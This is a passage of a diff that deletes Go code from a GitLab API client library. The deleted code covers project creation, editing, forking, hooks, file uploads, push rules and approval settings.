json:"issues_enabled,omitempty"` - MergeRequestsEnabled *bool `url:"merge_requests_enabled,omitempty" json:"merge_requests_enabled,omitempty"` - JobsEnabled *bool `url:"jobs_enabled,omitempty" json:"jobs_enabled,omitempty"` - WikiEnabled *bool `url:"wiki_enabled,omitempty" json:"wiki_enabled,omitempty"` - SnippetsEnabled *bool `url:"snippets_enabled,omitempty" json:"snippets_enabled,omitempty"` -} - -// CreateProject creates a new project owned by the authenticated user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#create-project -func (s *ProjectsService) CreateProject(opt *CreateProjectOptions, options ...RequestOptionFunc) (*Project, *Response, error) { - req, err := s.client.NewRequest("POST", "projects", opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// CreateProjectForUserOptions represents the available CreateProjectForUser() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#create-project-for-user -type CreateProjectForUserOptions CreateProjectOptions - -// CreateProjectForUser creates a new project owned by the specified user. -// Available only for admins. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#create-project-for-user -func (s *ProjectsService) CreateProjectForUser(user int, opt *CreateProjectForUserOptions, options ...RequestOptionFunc) (*Project, *Response, error) { - u := fmt.Sprintf("projects/user/%d", user) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// EditProjectOptions represents the available EditProject() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#edit-project -type EditProjectOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Path *string `url:"path,omitempty" json:"path,omitempty"` - DefaultBranch *string `url:"default_branch,omitempty" json:"default_branch,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - IssuesAccessLevel *AccessControlValue `url:"issues_access_level,omitempty" json:"issues_access_level,omitempty"` - RepositoryAccessLevel *AccessControlValue `url:"repository_access_level,omitempty" json:"repository_access_level,omitempty"` - MergeRequestsAccessLevel *AccessControlValue `url:"merge_requests_access_level,omitempty" json:"merge_requests_access_level,omitempty"` - ForkingAccessLevel *AccessControlValue `url:"forking_access_level,omitempty" json:"forking_access_level,omitempty"` - BuildsAccessLevel *AccessControlValue `url:"builds_access_level,omitempty" json:"builds_access_level,omitempty"` - WikiAccessLevel *AccessControlValue `url:"wiki_access_level,omitempty" json:"wiki_access_level,omitempty"` - SnippetsAccessLevel *AccessControlValue `url:"snippets_access_level,omitempty" json:"snippets_access_level,omitempty"` - PagesAccessLevel *AccessControlValue `url:"pages_access_level,omitempty" json:"pages_access_level,omitempty"` - EmailsDisabled *bool `url:"emails_disabled,omitempty" json:"emails_disabled,omitempty"` - ResolveOutdatedDiffDiscussions *bool `url:"resolve_outdated_diff_discussions,omitempty" json:"resolve_outdated_diff_discussions,omitempty"` - ContainerRegistryEnabled *bool `url:"container_registry_enabled,omitempty" json:"container_registry_enabled,omitempty"` - SharedRunnersEnabled *bool `url:"shared_runners_enabled,omitempty" json:"shared_runners_enabled,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` - ImportURL *string `url:"import_url,omitempty" json:"import_url,omitempty"` - PublicBuilds *bool `url:"public_builds,omitempty" json:"public_builds,omitempty"` - OnlyAllowMergeIfPipelineSucceeds *bool `url:"only_allow_merge_if_pipeline_succeeds,omitempty" json:"only_allow_merge_if_pipeline_succeeds,omitempty"` - OnlyAllowMergeIfAllDiscussionsAreResolved *bool `url:"only_allow_merge_if_all_discussions_are_resolved,omitempty" json:"only_allow_merge_if_all_discussions_are_resolved,omitempty"` - MergeMethod *MergeMethodValue `url:"merge_method,omitempty" json:"merge_method,omitempty"` - RemoveSourceBranchAfterMerge *bool `url:"remove_source_branch_after_merge,omitempty" json:"remove_source_branch_after_merge,omitempty"` - LFSEnabled *bool `url:"lfs_enabled,omitempty" json:"lfs_enabled,omitempty"` - RequestAccessEnabled *bool `url:"request_access_enabled,omitempty" json:"request_access_enabled,omitempty"` - TagList *[]string `url:"tag_list,omitempty" json:"tag_list,omitempty"` - BuildGitStrategy *string `url:"build_git_strategy,omitempty" json:"build_git_strategy,omitempty"` - BuildTimeout *int `url:"build_timeout,omitempty" json:"build_timeout,omitempty"` - AutoCancelPendingPipelines *string `url:"auto_cancel_pending_pipelines,omitempty" json:"auto_cancel_pending_pipelines,omitempty"` - BuildCoverageRegex *string `url:"build_coverage_regex,omitempty" json:"build_coverage_regex,omitempty"` - CIConfigPath *string `url:"ci_config_path,omitempty" json:"ci_config_path,omitempty"` - CIDefaultGitDepth *int `url:"ci_default_git_depth,omitempty" json:"ci_default_git_depth,omitempty"` - AutoDevopsEnabled *bool `url:"auto_devops_enabled,omitempty" json:"auto_devops_enabled,omitempty"` - AutoDevopsDeployStrategy *string `url:"auto_devops_deploy_strategy,omitempty" json:"auto_devops_deploy_strategy,omitempty"` - ApprovalsBeforeMerge *int `url:"approvals_before_merge,omitempty" json:"approvals_before_merge,omitempty"` - ExternalAuthorizationClassificationLabel *string `url:"external_authorization_classification_label,omitempty" json:"external_authorization_classification_label,omitempty"` - Mirror *bool `url:"mirror,omitempty" json:"mirror,omitempty"` - MirrorUserID *int `url:"mirror_user_id,omitempty" json:"mirror_user_id,omitempty"` - MirrorTriggerBuilds *bool `url:"mirror_trigger_builds,omitempty" json:"mirror_trigger_builds,omitempty"` - OnlyMirrorProtectedBranches *bool `url:"only_mirror_protected_branches,omitempty" json:"only_mirror_protected_branches,omitempty"` - MirrorOverwritesDivergedBranches *bool `url:"mirror_overwrites_diverged_branches,omitempty" json:"mirror_overwrites_diverged_branches,omitempty"` - PackagesEnabled *bool `url:"packages_enabled,omitempty" json:"packages_enabled,omitempty"` - ServiceDeskEnabled *bool `url:"service_desk_enabled,omitempty" json:"service_desk_enabled,omitempty"` - AutocloseReferencedIssues *bool `url:"autoclose_referenced_issues,omitempty" json:"autoclose_referenced_issues,omitempty"` - - // Deprecated members - IssuesEnabled *bool `url:"issues_enabled,omitempty" json:"issues_enabled,omitempty"` - MergeRequestsEnabled *bool `url:"merge_requests_enabled,omitempty" json:"merge_requests_enabled,omitempty"` - JobsEnabled *bool `url:"jobs_enabled,omitempty" json:"jobs_enabled,omitempty"` - WikiEnabled *bool `url:"wiki_enabled,omitempty" json:"wiki_enabled,omitempty"` - SnippetsEnabled *bool `url:"snippets_enabled,omitempty" json:"snippets_enabled,omitempty"` -} - -// EditProject updates an existing project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#edit-project -func (s *ProjectsService) EditProject(pid interface{}, opt *EditProjectOptions, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ForkProjectOptions represents the available ForkProject() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#fork-project -type ForkProjectOptions struct { - Namespace *string `url:"namespace,omitempty" json:"namespace,omitempty"` - Name *string `url:"name,omitempty" json:"name,omitempty" ` - Path *string `url:"path,omitempty" json:"path,omitempty"` -} - -// ForkProject forks a project into the user namespace of the authenticated -// user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#fork-project -func (s *ProjectsService) ForkProject(pid interface{}, opt *ForkProjectOptions, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/fork", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// StarProject stars a given the project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#star-a-project -func (s *ProjectsService) StarProject(pid interface{}, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/star", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// UnstarProject unstars a given project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#unstar-a-project -func (s *ProjectsService) UnstarProject(pid interface{}, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/unstar", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ArchiveProject archives the project if the user is either admin or the -// project owner of this project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#archive-a-project -func (s *ProjectsService) ArchiveProject(pid interface{}, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/archive", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// UnarchiveProject unarchives the project if the user is either admin or -// the project owner of this project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#unarchive-a-project -func (s *ProjectsService) UnarchiveProject(pid interface{}, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/unarchive", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// DeleteProject removes a project including all associated resources -// (issues, merge requests etc.) -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#remove-project -func (s *ProjectsService) DeleteProject(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ShareWithGroupOptions represents options to share project with groups -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#share-project-with-group -type ShareWithGroupOptions struct { - GroupID *int `url:"group_id" json:"group_id"` - GroupAccess *AccessLevelValue `url:"group_access" json:"group_access"` - ExpiresAt *string `url:"expires_at" json:"expires_at"` -} - -// ShareProjectWithGroup allows to share a project with a group. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#share-project-with-group -func (s *ProjectsService) ShareProjectWithGroup(pid interface{}, opt *ShareWithGroupOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/share", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteSharedProjectFromGroup allows to unshare a project from a group. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#delete-a-shared-project-link-within-a-group -func (s *ProjectsService) DeleteSharedProjectFromGroup(pid interface{}, groupID int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/share/%d", pathEscape(project), groupID) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ProjectMember represents a project member. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#list-project-team-members -type ProjectMember struct { - ID int `json:"id"` - Username string `json:"username"` - Email string `json:"email"` - Name string `json:"name"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - ExpiresAt *ISOTime `json:"expires_at"` - AccessLevel AccessLevelValue `json:"access_level"` - WebURL string `json:"web_url"` - AvatarURL string `json:"avatar_url"` -} - -// ProjectHook represents a project hook. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#list-project-hooks -type ProjectHook struct { - ID int `json:"id"` - URL string `json:"url"` - ConfidentialNoteEvents bool `json:"confidential_note_events"` - ProjectID int `json:"project_id"` - PushEvents bool `json:"push_events"` - PushEventsBranchFilter string `json:"push_events_branch_filter"` - IssuesEvents bool `json:"issues_events"` - ConfidentialIssuesEvents bool `json:"confidential_issues_events"` - MergeRequestsEvents bool `json:"merge_requests_events"` - TagPushEvents bool `json:"tag_push_events"` - NoteEvents bool `json:"note_events"` - JobEvents bool `json:"job_events"` - PipelineEvents bool `json:"pipeline_events"` - WikiPageEvents bool `json:"wiki_page_events"` - EnableSSLVerification bool `json:"enable_ssl_verification"` - CreatedAt *time.Time `json:"created_at"` -} - -// ListProjectHooksOptions represents the available ListProjectHooks() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#list-project-hooks -type ListProjectHooksOptions ListOptions - -// ListProjectHooks gets a list of project hooks. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#list-project-hooks -func (s *ProjectsService) ListProjectHooks(pid interface{}, opt *ListProjectHooksOptions, options ...RequestOptionFunc) ([]*ProjectHook, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/hooks", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ph []*ProjectHook - resp, err := s.client.Do(req, &ph) - if err != nil { - return nil, resp, err - } - - return ph, resp, err -} - -// GetProjectHook gets a specific hook for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#get-project-hook -func (s *ProjectsService) GetProjectHook(pid interface{}, hook int, options ...RequestOptionFunc) (*ProjectHook, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/hooks/%d", pathEscape(project), hook) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ph := new(ProjectHook) - resp, err := s.client.Do(req, ph) - if err != nil { - return nil, resp, err - } - - return ph, resp, err -} - -// AddProjectHookOptions represents the available AddProjectHook() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#add-project-hook -type AddProjectHookOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - ConfidentialNoteEvents *bool `url:"confidential_note_events,omitempty" json:"confidential_note_events,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - PushEventsBranchFilter *string `url:"push_events_branch_filter,omitempty" json:"push_events_branch_filter,omitempty"` - IssuesEvents *bool `url:"issues_events,omitempty" json:"issues_events,omitempty"` - ConfidentialIssuesEvents *bool `url:"confidential_issues_events,omitempty" json:"confidential_issues_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - NoteEvents *bool `url:"note_events,omitempty" json:"note_events,omitempty"` - JobEvents *bool `url:"job_events,omitempty" json:"job_events,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` - WikiPageEvents *bool `url:"wiki_page_events,omitempty" json:"wiki_page_events,omitempty"` - EnableSSLVerification *bool `url:"enable_ssl_verification,omitempty" json:"enable_ssl_verification,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` -} - -// AddProjectHook adds a hook to a specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#add-project-hook -func (s *ProjectsService) AddProjectHook(pid interface{}, opt *AddProjectHookOptions, options ...RequestOptionFunc) (*ProjectHook, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/hooks", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - ph := new(ProjectHook) - resp, err := s.client.Do(req, ph) - if err != nil { - return nil, resp, err - } - - return ph, resp, err -} - -// EditProjectHookOptions represents the available EditProjectHook() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#edit-project-hook -type EditProjectHookOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - ConfidentialNoteEvents *bool `url:"confidential_note_events,omitempty" json:"confidential_note_events,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - PushEventsBranchFilter *string `url:"push_events_branch_filter,omitempty" json:"push_events_branch_filter,omitempty"` - IssuesEvents *bool `url:"issues_events,omitempty" json:"issues_events,omitempty"` - ConfidentialIssuesEvents *bool `url:"confidential_issues_events,omitempty" json:"confidential_issues_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - NoteEvents *bool `url:"note_events,omitempty" json:"note_events,omitempty"` - JobEvents *bool `url:"job_events,omitempty" json:"job_events,omitempty"` - PipelineEvents *bool `url:"pipeline_events,omitempty" json:"pipeline_events,omitempty"` - WikiPageEvents *bool `url:"wiki_page_events,omitempty" json:"wiki_page_events,omitempty"` - EnableSSLVerification *bool `url:"enable_ssl_verification,omitempty" json:"enable_ssl_verification,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` -} - -// EditProjectHook edits a hook for a specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#edit-project-hook -func (s *ProjectsService) EditProjectHook(pid interface{}, hook int, opt *EditProjectHookOptions, options ...RequestOptionFunc) (*ProjectHook, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/hooks/%d", pathEscape(project), hook) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ph := new(ProjectHook) - resp, err := s.client.Do(req, ph) - if err != nil { - return nil, resp, err - } - - return ph, resp, err -} - -// DeleteProjectHook removes a hook from a project. This is an idempotent -// method and can be called multiple times. Either the hook is available or not. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#delete-project-hook -func (s *ProjectsService) DeleteProjectHook(pid interface{}, hook int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/hooks/%d", pathEscape(project), hook) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ProjectForkRelation represents a project fork relationship. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#admin-fork-relation -type ProjectForkRelation struct { - ID int `json:"id"` - ForkedToProjectID int `json:"forked_to_project_id"` - ForkedFromProjectID int `json:"forked_from_project_id"` - CreatedAt *time.Time `json:"created_at"` - UpdatedAt *time.Time `json:"updated_at"` -} - -// CreateProjectForkRelation creates a forked from/to relation between -// existing projects. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#create-a-forked-fromto-relation-between-existing-projects. -func (s *ProjectsService) CreateProjectForkRelation(pid int, fork int, options ...RequestOptionFunc) (*ProjectForkRelation, *Response, error) { - u := fmt.Sprintf("projects/%d/fork/%d", pid, fork) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - pfr := new(ProjectForkRelation) - resp, err := s.client.Do(req, pfr) - if err != nil { - return nil, resp, err - } - - return pfr, resp, err -} - -// DeleteProjectForkRelation deletes an existing forked from relationship. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#delete-an-existing-forked-from-relationship -func (s *ProjectsService) DeleteProjectForkRelation(pid int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("projects/%d/fork", pid) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ProjectFile represents an uploaded project file -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#upload-a-file -type ProjectFile struct { - Alt string `json:"alt"` - URL string `json:"url"` - Markdown string `json:"markdown"` -} - -// UploadFile upload a file from disk -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#upload-a-file -func (s *ProjectsService) UploadFile(pid interface{}, file string, options ...RequestOptionFunc) (*ProjectFile, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/uploads", pathEscape(project)) - - f, err := os.Open(file) - if err != nil { - return nil, nil, err - } - defer f.Close() - - b := &bytes.Buffer{} - w := multipart.NewWriter(b) - - fw, err := w.CreateFormFile("file", file) - if err != nil { - return nil, nil, err - } - - _, err = io.Copy(fw, f) - if err != nil { - return nil, nil, err - } - w.Close() - - req, err := s.client.NewRequest("", u, nil, options) - if err != nil { - return nil, nil, err - } - - req.Body = ioutil.NopCloser(b) - req.ContentLength = int64(b.Len()) - req.Header.Set("Content-Type", w.FormDataContentType()) - req.Method = "POST" - - uf := &ProjectFile{} - resp, err := s.client.Do(req, uf) - if err != nil { - return nil, resp, err - } - - return uf, resp, nil -} - -// ListProjectForks gets a list of project forks. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#list-forks-of-a-project -func (s *ProjectsService) ListProjectForks(pid interface{}, opt *ListProjectsOptions, options ...RequestOptionFunc) ([]*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/forks", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var forks []*Project - resp, err := s.client.Do(req, &forks) - if err != nil { - return nil, resp, err - } - - return forks, resp, err -} - -// ProjectPushRules represents a project push rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#push-rules -type ProjectPushRules struct { - ID int `json:"id"` - ProjectID int `json:"project_id"` - CommitMessageRegex string `json:"commit_message_regex"` - BranchNameRegex string `json:"branch_name_regex"` - DenyDeleteTag bool `json:"deny_delete_tag"` - CreatedAt *time.Time `json:"created_at"` - MemberCheck bool `json:"member_check"` - PreventSecrets bool `json:"prevent_secrets"` - AuthorEmailRegex string `json:"author_email_regex"` - FileNameRegex string `json:"file_name_regex"` - MaxFileSize int `json:"max_file_size"` - CommitCommitterCheck bool `json:"commit_committer_check"` - RejectUnsignedCommits bool `json:"reject_unsigned_commits"` -} - -// GetProjectPushRules gets the push rules of a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#get-project-push-rules -func (s *ProjectsService) GetProjectPushRules(pid interface{}, options ...RequestOptionFunc) (*ProjectPushRules, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/push_rule", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ppr := new(ProjectPushRules) - resp, err := s.client.Do(req, ppr) - if err != nil { - return nil, resp, err - } - - return ppr, resp, err -} - -// AddProjectPushRuleOptions represents the available AddProjectPushRule() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#add-project-push-rule -type AddProjectPushRuleOptions struct { - DenyDeleteTag *bool `url:"deny_delete_tag,omitempty" json:"deny_delete_tag,omitempty"` - MemberCheck *bool `url:"member_check,omitempty" json:"member_check,omitempty"` - PreventSecrets *bool `url:"prevent_secrets,omitempty" json:"prevent_secrets,omitempty"` - CommitMessageRegex *string `url:"commit_message_regex,omitempty" json:"commit_message_regex,omitempty"` - BranchNameRegex *string `url:"branch_name_regex,omitempty" json:"branch_name_regex,omitempty"` - AuthorEmailRegex *string `url:"author_email_regex,omitempty" json:"author_email_regex,omitempty"` - FileNameRegex *string `url:"file_name_regex,omitempty" json:"file_name_regex,omitempty"` - MaxFileSize *int `url:"max_file_size,omitempty" json:"max_file_size,omitempty"` -} - -// AddProjectPushRule adds a push rule to a specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#add-project-push-rule -func (s *ProjectsService) AddProjectPushRule(pid interface{}, opt *AddProjectPushRuleOptions, options ...RequestOptionFunc) (*ProjectPushRules, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/push_rule", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - ppr := new(ProjectPushRules) - resp, err := s.client.Do(req, ppr) - if err != nil { - return nil, resp, err - } - - return ppr, resp, err -} - -// EditProjectPushRuleOptions represents the available EditProjectPushRule() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#edit-project-push-rule -type EditProjectPushRuleOptions struct { - AuthorEmailRegex *string `url:"author_email_regex,omitempty" json:"author_email_regex,omitempty"` - BranchNameRegex *string `url:"branch_name_regex,omitempty" json:"branch_name_regex,omitempty"` - CommitMessageRegex *string `url:"commit_message_regex,omitempty" json:"commit_message_regex,omitempty"` - FileNameRegex *string `url:"file_name_regex,omitempty" json:"file_name_regex,omitempty"` - DenyDeleteTag *bool `url:"deny_delete_tag,omitempty" json:"deny_delete_tag,omitempty"` - MemberCheck *bool `url:"member_check,omitempty" json:"member_check,omitempty"` - PreventSecrets *bool `url:"prevent_secrets,omitempty" json:"prevent_secrets,omitempty"` - MaxFileSize *int `url:"max_file_size,omitempty" json:"max_file_size,omitempty"` - CommitCommitterCheck *bool `url:"commit_committer_check,omitempty" json:"commit_committer_check,omitempty"` - RejectUnsignedCommits *bool `url:"reject_unsigned_commits,omitempty" json:"reject_unsigned_commits,omitempty"` -} - -// EditProjectPushRule edits a push rule for a specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#edit-project-push-rule -func (s *ProjectsService) EditProjectPushRule(pid interface{}, opt *EditProjectPushRuleOptions, options ...RequestOptionFunc) (*ProjectPushRules, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/push_rule", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ppr := new(ProjectPushRules) - resp, err := s.client.Do(req, ppr) - if err != nil { - return nil, resp, err - } - - return ppr, resp, err -} - -// DeleteProjectPushRule removes a push rule from a project. This is an -// idempotent method and can be called multiple times. Either the push rule is -// available or not. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#delete-project-push-rule -func (s *ProjectsService) DeleteProjectPushRule(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/push_rule", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ProjectApprovals represents GitLab project level merge request approvals. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#project-level-mr-approvals -type ProjectApprovals struct { - Approvers []*MergeRequestApproverUser `json:"approvers"` - ApproverGroups []*MergeRequestApproverGroup `json:"approver_groups"` - ApprovalsBeforeMerge int `json:"approvals_before_merge"` - ResetApprovalsOnPush bool `json:"reset_approvals_on_push"` - DisableOverridingApproversPerMergeRequest bool `json:"disable_overriding_approvers_per_merge_request"` - MergeRequestsAuthorApproval bool `json:"merge_requests_author_approval"` - MergeRequestsDisableCommittersApproval bool `json:"merge_requests_disable_committers_approval"` -} - -// GetApprovalConfiguration get the approval configuration for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-configuration -func (s *ProjectsService) GetApprovalConfiguration(pid interface{}, options ...RequestOptionFunc) (*ProjectApprovals, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/approvals", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pa := new(ProjectApprovals) - resp, err := s.client.Do(req, pa) - if err != nil { - return nil, resp, err - } - - return pa, resp, err -} - -// ChangeApprovalConfigurationOptions represents the available -// ApprovalConfiguration() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-configuration -type ChangeApprovalConfigurationOptions struct { - ApprovalsBeforeMerge *int `url:"approvals_before_merge,omitempty" json:"approvals_before_merge,omitempty"` - ResetApprovalsOnPush *bool `url:"reset_approvals_on_push,omitempty" json:"reset_approvals_on_push,omitempty"` - DisableOverridingApproversPerMergeRequest *bool `url:"disable_overriding_approvers_per_merge_request,omitempty" json:"disable_overriding_approvers_per_merge_request,omitempty"` - MergeRequestsAuthorApproval *bool `url:"merge_requests_author_approval,omitempty" json:"merge_requests_author_approval,omitempty"` - MergeRequestsDisableCommittersApproval *bool `url:"merge_requests_disable_committers_approval,omitempty" json:"merge_requests_disable_committers_approval,omitempty"` -} - -// ChangeApprovalConfiguration updates the approval configuration for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-configuration -func (s *ProjectsService) ChangeApprovalConfiguration(pid interface{}, opt *ChangeApprovalConfigurationOptions, options ...RequestOptionFunc) 